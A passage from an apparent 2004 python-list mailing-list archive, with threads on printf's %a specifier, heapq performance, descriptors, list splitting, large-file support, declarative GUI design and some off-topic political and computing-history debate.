http://www.garlic.com/~lynn/2002h.html#12 Why did OSI fail compared with TCP-IP?
http://www.garlic.com/~lynn/2002h.html#43 IBM doing anything for 50th Anniv?
http://www.garlic.com/~lynn/2002i.html#63 Hercules and System/390 - do we need it?
http://www.garlic.com/~lynn/2002i.html#83 HONE
http://www.garlic.com/~lynn/2002j.html#83 Summary: Robots of Doom
http://www.garlic.com/~lynn/2002m.html#67 Tweaking old computers?
http://www.garlic.com/~lynn/2002n.html#29 why does wait state exist?
http://www.garlic.com/~lynn/2002o.html#28 TPF
http://www.garlic.com/~lynn/2002p.html#58 AMP  vs  SMP
http://www.garlic.com/~lynn/2003.html#48 InfiniBand Group Sharply, Evenly Divided
http://www.garlic.com/~lynn/2003c.html#30 diffence between itanium and alpha
http://www.garlic.com/~lynn/2003d.html#67 unix
http://www.garlic.com/~lynn/2003g.html#30 One Processor is bad?
http://www.garlic.com/~lynn/2003g.html#32 One Processor is bad?
http://www.garlic.com/~lynn/2003g.html#37 Lisp Machines
http://www.garlic.com/~lynn/2003j.html#2 Fix the shuttle or fly it unmanned
http://www.garlic.com/~lynn/2003k.html#3 Ping:  Anne & Lynn Wheeler
http://www.garlic.com/~lynn/2003n.html#47 What makes a mainframe a mainframe?
http://www.garlic.com/~lynn/2003p.html#45 Saturation Design Point
http://www.garlic.com/~lynn/2004.html#24 40th anniversary of IBM System/360 on 7 Apr 2004
http://www.garlic.com/~lynn/2004.html#49 Mainframe not a good architecture for interactive workloads
http://www.garlic.com/~lynn/2004.html#50 Mainframe not a good architecture for interactive workloads
http://www.garlic.com/~lynn/2004b.html#6 Mainframe not a good architecture for interactive workloads
http://www.garlic.com/~lynn/2004b.html#7 Mainframe not a good architecture for interactive workloads
http://www.garlic.com/~lynn/2004c.html#35 Computer-oriented license plates
http://www.garlic.com/~lynn/2004e.html#44 Infiniband - practicalities for small clusters
http://www.garlic.com/~lynn/2004f.html#58 Infiniband - practicalities for small clusters
http://www.garlic.com/~lynn/2004g.html#14 Infiniband - practicalities for small clusters

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From john at grulic.org.ar  Tue Sep  7 17:28:03 2004
From: john at grulic.org.ar (John Lenton)
Date: Tue, 7 Sep 2004 18:28:03 -0300
Subject: %a format
In-Reply-To: <413E0A4D.D1E91162@alcyone.com>
References: <mailman.2992.1094581774.5135.python-list@python.org>
	<usm9tx5n3.fsf@broadpark.no> <413E0A4D.D1E91162@alcyone.com>
Message-ID: <20040907212803.GA28400@grulic.org.ar>

On Tue, Sep 07, 2004 at 12:21:49PM -0700, Erik Max Francis wrote:
> Tor Iver Wilhelmsen wrote:
> 
> > John Lenton <john at grulic.org.ar> writes:
> > 
> > > Is there any reason python's printf-style formatting is missing the
> > > (C99) '%a' specifier?
> > 
> > Because it's not very well known or used? A google for "C printf
> > format string" gave lots of resources, none of which had %a.
> 
> It's not C99, anyway; my copy of C99 makes no mention of it (the only
> mention of %a is associated with gmtime.

hmm! weird. From printf(3):

       a,A    (C99; not in SUSv2) For a conversion, the double
              argument is converted to hexadecimal notation (using the
              letters abcdef) in the style [?]0xh.hhhhp?d; for A
              conversion the prefix 0X, the letters ABCDEF, and the
              exponent separator P is used.  There is one hexadecimal
              digit before the decimal point, and the number of digits
              after it is equal to the precision.  The default
              precision suffices for an exact representation of the
              value if an exact representation in base 2 exists and
              otherwise is sufficiently large to distinguish values of
              type double.  The digit before the decimal point is
              unspecified for non?normalized numbers, and nonzero but
              otherwise unspecified for normalized numbers.

and looking at ISO/IEC 9899:1999 (E), it's on page 278, ?7.19.6.1:


    a,A

    A double argument representing a floating-point number is
    converted in the style [-]0xh.hhhh p?d, where there is one
    hexadecimal digit (which is nonzero if the argument is a
    normalized floating-point number and is otherwise unspecified)
    before the decimal-point character235) and the number of
    hexadecimal digits after it is equal to the precision; if the
    precision is missing and FLT_RADIX is a power of 2, then the
    precision is sufficient for an exact representation of the value;
    if the precision is missing and FLT_RADIX is not a power of 2,
    then the precision is sufficient to distinguish236) values of type
    double, except that trailing zeros may be omitted; if the
    precision is zero and the # flag is not specified, no decimalpoint
    character appears. The letters abcdef are used for a conversion
    and the letters ABCDEF for A conversion. The A conversion
    specifier produces a number with X and P instead of x and p. The
    exponent always contains at least one digit, and only as many more
    digits as necessary to represent the decimal exponent of 2. If the
    value is zero, the exponent is zero.

    A double argument representing an infinity or NaN is converted in
    the style of an f or F conversion specifier.


-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
It seems intuitively obvious to me, which means that it might be wrong.
		-- Chris Torek
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040907/3915e804/attachment.sig>

From aleaxit at yahoo.com  Sun Sep  5 16:06:29 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 5 Sep 2004 22:06:29 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<mailman.2878.1094332489.5135.python-list@python.org>
Message-ID: <1gjnodi.1tda7xkabfdo4N%aleaxit@yahoo.com>

Tim Peters <tim.peters at gmail.com> wrote:

> [Alex Martelli, to Carlos Ribeiro]
> > ...
> > If you need to loop on the first few smallest items of a long sequence,
> > you'll find good solutions in the cookbook (and better ones in the 2nd
> > printed edition I'm supposed to be coediting rather than surfing
> > c.l.py...:-), but the sorted builtin is no use for that.
> 
> Note that Raymond Hettinger added efficient nlargest() and nsmallest()
> functions to heapq for 2.4.  Because heapq implements a min-heap, only
> nlargest() is really "natural" for this module, but nsmallest() does

Hmmm, am I reading this wrong...?  getting the min N times seems easy,
wouldn't that be nsmallest...?

> what it can.  Neither works as a generator.  There are elegant ways to
> implement mergesort as a cascade of (O(N)!) recursive generators, but
> they're horrendously slow in comparison.

Ouch, I _DID_ know I had to traipse more carefully through 2.4's
sources... I had missed this ones!!!  Thanks, they're going into the
appropriate recipes (in the Searching and Sorting chapter -- whose
introduction you'll no doubt have to vastly rewrite, btw...) ASAP.

heapq _should_ have reversed= like list.sort, to make a maxheap almost
as easy as a minheap (and key= too of course), but that's another
fight^H^H^H^H^H debate...


> > Again, you're assuming (implicitly) heapsort and ignoring the huge
> > performance benefit of Peters' "natural mergesort" as implemented in
> > the current sorted built-in (and list.sort method).  In all the many
> > cases in which the whole sorted sequence is wanted, natural
> > mergesort shines, particularly in the common practical cases in
> > which the input sequence already has some pieces ordered, while
> > heapsort gets no prize at all.
> 
> It's actually the "adaptive" in "adaptive natural mergesort" that
> supplies the real wins.  The "natural" part does pay in some cases,
> but not nearly as often as the "adaptive" part.  There's an extensive
> writeup of the algorithm in a Python source distribution's
> Objects/listsort.txt.  The adaptive part requires creating long runs
> in order to, well, find something to adapt *to*.  It's not suited to
> generator-like behavior because of this (trying to do the least work
> possible to deliver "the next" result would castrate its most
> generally effective go-fast trick).

I _have_ read listsort.txt (a few times), one of these days it will have
facilitated enough new synapses in my neural pathways to enable me to
actually grok the sources, I'm sure.

> 
> I'll note that no algorithm can know the smallest element before it's
> seen all the elements, so no generator-like gimmick can deliver the
> first element of the sorted result before materializing the entire
> input and doing O(N) work on it.  

Yep, that much is obvious even to lowly practitioners such as me.

> The recursive-generator mergesorts
> mentioned above deliver the first result after doing exactly N-1
> compares (which achieves the theoretical minimum).  But the builtin
> sort() can usually sort the whole list before that gimmick can deliver
> its first result.

And what about the heapsorts...?  It probably depends on what you mean
by 'usually', but...:

with s.py being:
import heapq, random

def top3_heapq(s):
    return heapq.nsmallest(3, s)

def top3_sort(s):
    return sorted(s)[:3]

x1 = range(1000)
random.shuffle(x1)


on my old-ish iBook with Python 2.4 alpha 3 I see...:

kallisti:~/cb/cha/sys/cba alex$ python ~/cb/timeit.py -s'import s'
's.top3_heapq(s.x1)'
1000 loops, best of 3: 656 usec per loop
kallisti:~/cb/cha/sys/cba alex$ python ~/cb/timeit.py -s'import s'
's.top3_sort(s.x1)'
100 loops, best of 3: 4e+03 usec per loop



Alex


From tim.peters at gmail.com  Sat Sep 18 13:08:54 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Sat, 18 Sep 2004 13:08:54 -0400
Subject: Math errors in python
In-Reply-To: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
Message-ID: <1f7befae040918100862a0079f@mail.gmail.com>

[Radioactive Man]
> In python 2.3 (IDLE 1.0.3) running under windows 95, I get the
> following types of errors whenever I do simple arithmetic:
>
> 1st example:
> >>> 12.10 + 8.30
> 20.399999999999999

...

Please read the Tutorial appendix on floating-point issues:

    http://docs.python.org/tut/node15.html


From aleaxit at yahoo.com  Thu Sep  2 07:07:59 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 2 Sep 2004 13:07:59 +0200
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<sweNBls/KXoF089yn@the-wire.com>
	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>
	<CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com>
	<u3c21wnbq.fsf@fitlinxx.com>
	<mEtZc.160666$UTP.71082@twister01.bloor.is.net.cable.rogers.com>
	<ch5tki$csm$0$216.39.172.122@theriver.com>
Message-ID: <1gjhleb.6l5nbvaf0x06N%aleaxit@yahoo.com>

Bengt Richter <bokr at oz.net> wrote:
   ...
> Here's a way to auto-initialize an instance attribute to a mutable via a
class variable
> (that happens to be a descriptor ;-)
> 
>  >>> class C(object):
>  ...     class prop(object):
>  ...         def __get__(self, inst, cls=None):
>  ...             if inst: return inst.__dict__.setdefault('prop',[])
>  ...             return self
>  ...         def __set__(self, inst, value): inst.__dict__['prop'] = value
>  ...         def __delete__(self, inst): del inst.__dict__['prop']
>  ...     prop = prop()
>  ...

I think it's the most elegant approach so far, except I would further
tweak it as follows:

class auto_initialized(object):
    def __init__(self, name, callable, *args, **kwds):
        self.data = name, callable, args, kwds
    def __get__(self, ints, cls=None):
        if inst:
            name, callable, args, kwds = self.data
            self = inst.__dict__[name] = callable(*args, **kwds)
        return self

No __set__ and __del__ warranted, I believe.  Use would then be, e.g:

class C(object):
    prop = auto_initialized('prop', list)

Pity that the name must be specified, but ah well, that's descriptors'
defects -- they don't get reminded about the name upon __get__ etc.

> Any use to you? (disclaimer: not tested beyond what you see here ;-)

I could use it in the Cookbook, side by side with Dan's "overloading
__new__" idea and my custom metaclass, as various approaches to solving
a 'problem' (if that be one) of "automatically initializing mutable
instance attributes".  It would help if you and/or Dan posted these
recipes to ActiveState's online cookbook ASAP (deadline is Sat Sep 5...)
-- I'm allowed to add recipes that didn't show up on the online
cookbook, but that _is_ discouraged... (and posting the recipes myself
isn't much better, either).


Alex


From olivier.parisy at free.fr  Wed Sep  1 10:14:06 2004
From: olivier.parisy at free.fr (Olivier Parisy)
Date: Wed, 01 Sep 2004 16:14:06 +0200
Subject: Enumerating Network Adapters
In-Reply-To: <mailman.2634.1093899060.5135.python-list@python.org>
References: <4131b09e$0$13683$636a15ce@news.free.fr>	<cgt571$8lv$06$1@news.t-online.com>	<413257dd$0$26986$626a14ce@news.free.fr>	<mailman.2602.1093876020.5135.python-list@python.org>	<4qmkheha.fsf@python.net>	<9418be08.0408301226.354c337a@posting.google.com>
	<mailman.2634.1093899060.5135.python-list@python.org>
Message-ID: <4135d929$0$28829$636a15ce@news.free.fr>

Dave Brueck wrote:
> Elbert Lev wrote:
> 
>>>> It returned the least useful of my 3 IP addresses - my loopback
>>>> adapter - but didn't return my LAN and wireless IPs.
>>
>>
>>
>> Interesting! I have Python installed on 10 W2K servers and I'm using
>> the same construct to get addresses. Works fine for me.
> 
> 
> WinXP Pro here - I wonder if that's the difference.

Interestingly, I have the same problem with XP Pro.

But socket.gethostbyname_ex seems to do the trick for me !

Regards,
Olivier.




From elainejackson7355 at home.com  Fri Sep 24 04:06:43 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Fri, 24 Sep 2004 08:06:43 GMT
Subject: spliting a list by nth items
References: <mailman.3802.1095960335.5135.python-list@python.org>
Message-ID: <nAQ4d.488388$M95.251185@pd7tw1no>

>>> x = [0,1,2,3,4,5,6,7,8,9]
>>> n = 3
>>> y = [x[i] for i in range(len(x)) if i%n==0]
>>> z = [x[i] for i in range(len(x)) if i%n<>0]
>>> x
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> y
[0, 3, 6, 9]
>>> z
[1, 2, 4, 5, 7, 8]


"Steven Bethard" <steven.bethard at gmail.com> wrote in message
news:mailman.3802.1095960335.5135.python-list at python.org...
| I feel like this has probably been answered before, but I couldn't
| find something quite like it in the archives.  Feel free to point me
| somewhere if you know where this has already been answered.
|
| I have a list in a particular order that I want to split into two
| lists: the list of every nth item, and the list of remaining items.
| It's important to maintain the original order in both lists.
|
| So the first list is simple:
|
| nth_items = items[::n]
|
| The second list is what's giving me trouble.  So far, the best I've
| come up with is:
|
| non_nth_items = list(items)
| del non_nth_items[::n]
|
| Is this the right way to do this?
|
| Steve
| --
| You can wordify anything if you just verb it.
|         - Bucky Katt, Get Fuzzy




From kevin_spencer_2 at yahoo.com  Tue Sep 21 08:33:30 2004
From: kevin_spencer_2 at yahoo.com (kevin)
Date: Tue, 21 Sep 2004 08:33:30 -0400
Subject: python ides
Message-ID: <cip735$e01$1@sea.gmane.org>



Since i saw a post about a troll saying python doesnt have good ides(not
true) , i would like to say that python has the best ide ever! and i
challenge emacs,vim users who dont believe in the power of an ide , take a
look :

wingide 2 :   

-------------

python with full callback tip,autocompletion support, look at the right down
position of the screenshoot,where it shows the type of the attribute,its
arguments if any,and the doc string, so memorize those details is not
needed any more.


http://www.zippyimages.com/files/111424/codecompletion_calltips_sourceassistant.
png


if the ide doesnt know what type is the object(cause of dinamic typing),you
can still use code assist, for example : 
 
 def myfunction(unknowntype):
    
    unknowntype.  ????

and you know that unknowntype is a Cookie instance, then type ' Cookie. '
and you will get the assistance

---------------------------

complete code-object browser 


  http://www.zippyimages.com/files/111426/code_browser_source_browser.png


----------------------------
and finaly ,a super complete debuger , with support for plone/zope ,
wxwindows and a lot of advanced options.


  http://www.zippyimages.com/files/111427/most_powerfull_debugger_ever.png


----------------------------

  With the power of python and the power of this great ide, programing is
even more fun and productive. ;)
  
Ha, java,visual studiors wish to have this powerfull ide and programing
language avaiable for .not or eclipse tecnologies

 I think emacs-vim users will change their mind after trying it ;), well the
problem is that it is a bit expensive =( , at least the personal edition is
accesible , toughs?  

just try it, =)

  http://wingware.com/downloads




From jmfbahciv at aol.com  Fri Sep  3 06:32:40 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Fri, 03 Sep 04 10:32:40 GMT
Subject: Xah Lee's Unixism
References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
Message-ID: <41385b1e$0$19713$61fed72c@news.rcn.com>

In article <opsdpdzglzpqzri1 at mjolner.upc.no>,
   "John Thingstad" <john.thingstad at chello.no> wrote:
>On Thu, 02 Sep 2004 08:35:30 GMT, Brian Inglis  
><Brian.Inglis at SystematicSW.Invalid> wrote:
>
>> On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W.
>> Kennedy" <jwkenne at attglobal.net> wrote:
>>
>>> Andre Majorel wrote:
>>>> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote:
>>>>
>>>>> On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers,
>>>>> Andre Majorel <amajorel at teezer.fr> wrote:
>>>>>
>>>>>
>>>>>> On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote:
>>>>>
>>>>>>> Windows (MS) is not 'Unixism'?
>>>>>>
>>>>>> If by unixism, you mean any operating system that has a
>>>>>> hierarchical filesystem and byte stream files, yes. But that
>>>>>> would include quite a few other non-Unix operating systems,
>>>>>> including Mac OS 9, Prologue and probably everything else this
>>>>>> side of CP/M (DOS 1.x shall be deemed to be CP/M).
>>>>>
>>>>> DOS 2.x+ shall be deemed to be CP/M+!
>>>>
>>>>
>>>> Wasn't it in version 2 that they added directories and
>>>> Unix-style file handles ?
>>>
>>> Yes, and also a single-process pipe emulator.  Ever since 2.0, MS has
>>> been trying to turn MS-DOS (later, Windows) into a Unix clone.
>>
>> MS has been borrowing code from Unix to create a real OS: TCP/IP;
>> NTFS<-ffs; memory mapped files<-mmap.
>> Shame they keep trying to add their own ideas in too: that must be
>> what causes the crashes!
>>
>
>You seeem misinformed.
>Microsoft swallowed up a team from DEC.
>The were developing a operating system called PRISM.

Which was Cutler's view of what VMS should be.  Assuming
he hadn't change, this would not have delivered computing
system services to users.

>When the project was cancelled they quit DEC in protest.
>These peaple had more than a 100 years of experience in developing  
>muliuser /
>mutitasking operating systems between them.

100 years total isn't much experience.

> .. The fact that the NT kernel is  
>not
>entirely stable yet really shouldn't supprise anyone. Afterall Unix has  
>messed with
>it's kernel for 30 years.

PRISM is as old as Unix...actually older.


<snip>

/BAH

Subtract a hundred and four for e-mail.


From carribeiro at gmail.com  Fri Sep 24 10:50:57 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 24 Sep 2004 11:50:57 -0300
Subject: up with PyGUI!
In-Reply-To: <69D101A3-0E34-11D9-8C15-003065B11E84@leafe.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<414783DD.4070509@zephyrfalcon.org>
	<4lf4d.15151$pA.1180511@news20.bellglobal.com>
	<4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de>
	<4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de>
	<864d3709040924070115d9d98a@mail.gmail.com>
	<69D101A3-0E34-11D9-8C15-003065B11E84@leafe.com>
Message-ID: <864d3709040924075081ddd63@mail.gmail.com>

On Fri, 24 Sep 2004 10:17:06 -0400, Ed Leafe <ed at leafe.com> wrote:
> On Sep 24, 2004, at 10:01 AM, Carlos Ribeiro wrote:
> > [...my sample...]
> > class MainFrame(FrameDescription):
> >
> >     class b1(ButtonDescription):
> >       size = (40, 40)
> >       text = "b1"
>
> [...your question...]
>         How is this more powerful/flexible/robust than something like:
> 
> class MainForm(dabo.ui.dForm):
>         def __init__(self, parent=None):
>                 self.addObject(ButtonDescription, "b1")
>                 self.b1.Size = (40,40)
>                 self.b1.Caption = "b1"

Ok. I'll try to answer your questions, but first some background is
needed to focus the discussion.

We can broadly define three ways to implement GUI description: (a)
Imperative, (b) Data-driven and (c) Declarative. Dabo uses a
imperative approach (as do wxPython and almost all other GUI packages
for Python). Some packages are available which take a description of
the UI and build it, using XML or some other intermediary data
representation. Glade (for GTk) works this way. I'm using a
declarative approach -- using Python native class declarations to
build the UI definition.

Why do it this way? First of all, it's an *experiment*. It's something
I'm doing because I feel that it has potential to be better than other
approaches. It's also based on my experience with other tools. Delphi
forms are stored in a intermediate format that is read by the
application; it's really data driven, but the language "reads" for the
programmer as a declarative language. It's much more readable than,
for example, a XML file or a Python dict storing the UI definition. I
also remember the old days of dBase 2 and FoxPro (for DOS), where it
was easy to build data entry screens with just a few lines of
declarations embedded in the same program, with no need to create
separate data files, etc.

What I'm trying to do is to bridge the last gap here: having a
readable declaration of the interface, written in pure Python code, in
such a way as to allow the programmer to work with a single language
all the time. As I said, there's nothing wrong with other approaches,
but I *think* that my approach will show its value once we start to
use it for day-to-day coding. I may be wrong, but why can't we try it?

DESIGN GOALS

The system is being designed for readability and flexibility. It's not
being designed to be powerful, in the sense of fine control over the
UI, but to be as simple to use as possible, and both things (power vs.
simplicity) are at odds sometimes. I'm yet to see how big a compromise
must be made.

The first part is the metacontainer engine. It's a metaclass that
handles creation of nested classes in such way as to preserve some
information that is lost when Python parses the code; namely, the
ordering of the declarations. It also converts nested classes into
instances, which is needed for later use.

This engine is totally independent of its use. You can use the engine
anytime a declarative language is useful: form design, reports,
database declarations, etc.. (In fact, the design was inspired by Ian
Bicking's sqlobject way to declare object entities; I just wanted a
way to generalize it for other stuff).

Over this engine (that is already working and is nicely encapsulated),
I'm building a generic Form class. I could be doing the same for
databases, or for reports. Everything will share the same engine and
the same way to write declarations. What will change is the base
classes used for this purpose, and the way the resulting class
definition will be used.

The class description works together with a renderer object. They
collaborate to convert the declaration of the UI into a real
representation -- for example, a wxFrame filled with all controls
needed. It's probably slower than executing code written by hand. But
it's easier to write, because the engine can handle a lot of the stuff
that has to be done manually by the programmer.

This approach is not being design for speed, but nothing prevents it
from being fast. A good part of the "black magic" is done by the
metaclass when the class declaration is first read, parsed and
byte-compiele by Python. The result of the rendering can also be
cached for later use, so it's not really needed to render it everytime
it's needed.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From news at NOwillmcguganSPAM.com  Fri Sep  3 13:29:19 2004
From: news at NOwillmcguganSPAM.com (Will McGugan)
Date: Fri, 03 Sep 2004 18:29:19 +0100
Subject: Problem with 2.4(alpha3)
Message-ID: <4138a9f0$0$22757$db0fefd9@news.zen.co.uk>

Hi,

After installing the lastest alpha, on Win 2k, I found that my scripts 
no longer worked. It turns out that the .py file assocations had the 
switches -n and -e set for 'open'. pyhton.exe was reporting unkown 
option for these switches. I removed them and it seems to have fixed it.

Is there a problem with the installer, or some other issue when 
installing 2.4 over 2.3.4?


Thanks,

Will McGugan


From albalmer at att.net  Thu Sep  9 11:47:55 2004
From: albalmer at att.net (Alan Balmer)
Date: Thu, 09 Sep 2004 08:47:55 -0700
Subject: Xah Lee's Unixism
References: <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<vG6_c.16947$aB1.13654@twister.socal.rr.com>
	<bluhj0p6rvrmdrftvrsno9e8vis6mfgvp3@4ax.com>
	<ii8_c.17015$aB1.9921@twister.socal.rr.com>
	<v9rrj09kghqeggkeuo7p48vnrmrtbuodab@4ax.com>
	<413f6044.512285562@News.individual.net>
Message-ID: <ldu0k01fffmkfevuhpmuu19ufn8a70jrjp@4ax.com>

On Wed, 08 Sep 2004 23:36:49 GMT, iddw at hotmail.com (Dave Hansen)
wrote:

>On Tue, 07 Sep 2004 10:29:04 -0700, Alan Balmer <albalmer at att.net>
>wrote:
>
>>On Sat, 04 Sep 2004 00:49:18 GMT, gwschenk at fuzz.socal.rr.com (Gary
>>Schenk) wrote:
>>
>[...]
>>>Don't you dittoheads ever get your facts right?
>>
>>
>>What's a "dittohead"? Are you trying to convey a personal insult of
>>some kind? Please let me know, so I can call you a name, too.
>
>A "dittohead" is someone who regularly listens to and agrees with Rush
>Limbaugh (popular conservative U.S. radio talk show host).  It is a
>tradition that callers on his show (at least those that agree with
>him) start their call with something like "Country redneck dittos to
>you, Rush," or "Hey, Rush, blues-pickin' Cajun dittos" before
>launching into the subject of their call.  It is intended to be an
>insult implying the "dittoheads" don't have any thoughts of their own,
>but merely are told what to think (probably by Rush), and do so.  The
>"dittoheads" have embraced the moniker but not the implication, seeing
>the insult as an act of desperation attacking the person (ad hominem)
>rather than addressing the issues.
>
Ah, I see. Under the circumstances, that last observation may be
correct, especially when extended to those who cover their lack of
knowledge by accusing others of not having their facts right.

I have seen most of a TV interview with Mr. Limbaugh, when he was in
the news for prescription drug abuse, and I have heard him on the
radio briefly a couple of times. I find it distasteful and switch to
Tony Snow <G>.

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From jdhunter at ace.bsd.uchicago.edu  Thu Sep 23 17:06:16 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Thu, 23 Sep 2004 16:06:16 -0500
Subject: lfs confusion
In-Reply-To: <F%F4d.1357$zG1.459@newsread3.news.pas.earthlink.net> (Andrew
	Dalke's message of "Thu, 23 Sep 2004 20:04:53 GMT")
References: <mailman.3796.1095959172.5135.python-list@python.org>
	<mVD4d.1230$zG1.821@newsread3.news.pas.earthlink.net>
	<mailman.3803.1095963499.5135.python-list@python.org>
	<F%F4d.1357$zG1.459@newsread3.news.pas.earthlink.net>
Message-ID: <m2acvgn19z.fsf@mother.paradise.lost>

>>>>> "Andrew" == Andrew Dalke <adalke at mindspring.com> writes:

    Andrew> You're beyond my knowledge there.  I thought that Python
    Andrew> did the check automatically and didn't need the CLAGS= ...

    Andrew> I compile from CVS source without special commands and it
    Andrew> Just Works.

Well, the reason I have embarked on this path is to find out if my
zope has LFS support or not.  Your post gave me the inspiration to
just dig through the zope configure script and find out what they were
doing (I've hit the 2GB limit one too many times with the zobd to let
myself do it again).

In inst/configure.py, I found 

def test_largefile():
    OK=0
    f = open(sys.argv[0], 'r')
    try:
        # 2**31 == 2147483648
        f.seek(2147483649L)
        f.close()
        OK=1
    except (IOError, OverflowError):
        f.close()
    if OK:
        return
    ...else raise an error message...


I pass the 2**31 test but fail your sys.maxint * 3L

>>> fd = file('/dev/null')
>>> fd.seek(2147483649L)
>>> fd.seek(sys.maxint * 3L)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
OverflowError: long int too large 

It appears, that as far as zope if concerned, I can exceed the 2GB
limit and so I should be safe, hopefully up to 

>>> sys.maxint/1.e9
9223372036.8547764

Should cover me for a while <wink>

Thanks for your help,
JDH


From john.thingstad at chello.no  Thu Sep  9 17:06:57 2004
From: john.thingstad at chello.no (John Thingstad)
Date: Thu, 09 Sep 2004 23:06:57 +0200
Subject: Xah Lee's Unixism
References: <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
Message-ID: <opsd2vlvy7pqzri1@mjolner.upc.no>

On Thu, 09 Sep 04 13:12:17 GMT, <jmfbahciv at aol.com> wrote:


> I really want to know.  People keep saying this but never say which
> freedoms have been lost.
>

Since this is somewhat related to computer programming and AI I will reply.

The US has started a initiative to integrate all information about people  
in the USA into a central database.

This includes confidential information like your medical files. Think what  
you say to your psychologist is confidential? Think again. Being paranoid  
can be enough to get a "red flag".
They will have access to all your credit records and will monitor all your  
travels in and out of the country.
If you buy flowers on the apposite side of town they can deduce that you  
have a lover and
use this as a means of distortion. (Edgar A. Hoover style)

Initially this was just supposed to be used to monitor terrorist like  
behaviour
but now the FBI and CIA are also seeing the power of such a system.

The main challenge in computing is sieving through the amount of data.
Politically it is to pressure the foreign governments to wave their  
privacy protection acts and allow unlimited access to information to a  
foreign power.

Don't know what you think of this but it scares the hell out of me!

-- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/


From godoy at ieee.org  Wed Sep  1 11:14:05 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Wed, 01 Sep 2004 12:14:05 -0300
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com>
	<iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
Message-ID: <m3n00aggxu.fsf@g2ctech.com>

"Dan Perl" <dperl at rogers.com> writes:

> Not in Python.  A user of my library has to invoke the parent's class
> __init__ in their own __init__.  What happens if, in a future release, I get
> rid of the __init__ in the parent class?  Or the other way around.  An early
> release does not have a parent __init__, the users don't invoke it because
> they can't, and then, in a future release, I add the parent __init__ because
> I added some attributes.  It breaks all the users' code.  This is poor
> encapsulation.


I'm getting in the middle of the discussion so forgive-me if this example
doesn't apply here.


>>> class test(object):
...     def test(self):
...             print "Just a test"
...
>>> class derived(test):
...     def __init__(self):
...             test.__init__(self)
...     def showit(self):
